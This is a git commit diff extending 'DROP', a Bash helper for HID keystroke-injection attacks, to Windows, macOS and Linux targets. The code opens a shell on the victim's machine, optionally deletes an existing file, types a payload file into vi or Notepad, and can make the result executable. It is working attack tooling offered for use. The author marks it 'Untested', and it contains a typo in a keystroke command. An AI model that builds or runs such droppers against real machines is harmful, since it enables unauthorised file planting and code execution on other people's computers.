Multi-OS (Untested)
parent
9ab8820cc5
commit
17e0b3d50c
|
@ -2,32 +2,65 @@
|
||||||
#
|
#
|
||||||
# DROP v1 by bg-wa
|
# DROP v1 by bg-wa
|
||||||
# Simplifies dropping files from HID attacks for LINUX
|
# Simplifies dropping files from HID attacks for LINUX
|
||||||
# Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false]
|
# Usage: DROP [OS] bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false]
|
||||||
#
|
#
|
||||||
# Example:
|
# Example:
|
||||||
# DROP /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true
|
# DROP UNITY /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true
|
||||||
source ./run.sh
|
source ./run.sh
|
||||||
|
|
||||||
function DROP() {
|
function DROP() {
|
||||||
source=$1
|
os=$1
|
||||||
destination=$2
|
source=$2
|
||||||
overwrite=$3
|
destination=$3
|
||||||
executable=$4
|
overwrite=$4
|
||||||
#os=
|
executable=$5
|
||||||
|
|
||||||
|
case "$os" in
|
||||||
|
WIN)
|
||||||
|
RUN WIN powershell
|
||||||
|
;;
|
||||||
|
OSX)
|
||||||
|
RUN OSX terminal
|
||||||
|
;;
|
||||||
|
UNITY)
|
||||||
|
RUN UNITY terminal
|
||||||
|
;;
|
||||||
|
LINUX)
|
||||||
|
RUN LINUX terminal
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
RUN UNITY terminal
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
RUN UNITY xterm
|
|
||||||
QUACK DELAY 1000
|
QUACK DELAY 1000
|
||||||
|
|
||||||
if "$overwrite" == "true"
|
if "$overwrite" == "true"
|
||||||
then
|
then
|
||||||
|
case "$os" in
|
||||||
|
WIN)
|
||||||
|
QUACK STRING del "$destination"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
QUACK STRING rm "$destination"
|
QUACK STRING rm "$destination"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
QUACK DELAY 500
|
QUACK DELAY 500
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
case "$os" in
|
||||||
|
WIN)
|
||||||
|
QUACK STRING fsutil file createnew "$destination"
|
||||||
|
RUN WIN notepad.exe "$destination"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
QUACK STRING vi "$destination"
|
QUACK STRING vi "$destination"
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
QUACK DELAY 500
|
QUACK DELAY 500
|
||||||
QUACK STRING i
|
QUACK STRING i
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
while IFS= read -r data
|
while IFS= read -r data
|
||||||
do
|
do
|
||||||
|
@ -36,6 +69,13 @@ function DROP() {
|
||||||
done < "$source"
|
done < "$source"
|
||||||
|
|
||||||
QUACK DELAY 500
|
QUACK DELAY 500
|
||||||
|
|
||||||
|
case "$os" in
|
||||||
|
WIN)
|
||||||
|
QUACK CTRL s
|
||||||
|
QUACK CRTL x
|
||||||
|
;;
|
||||||
|
*)
|
||||||
QUACK ESC
|
QUACK ESC
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
QUACK STRING :wq
|
QUACK STRING :wq
|
||||||
|
@ -52,6 +92,8 @@ function DROP() {
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
QUACK STRING exit
|
QUACK STRING exit
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
|
;;
|
||||||
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
export -f DROP
|
export -f DROP
|
||||||
|
|
Loading…
Reference in New Issue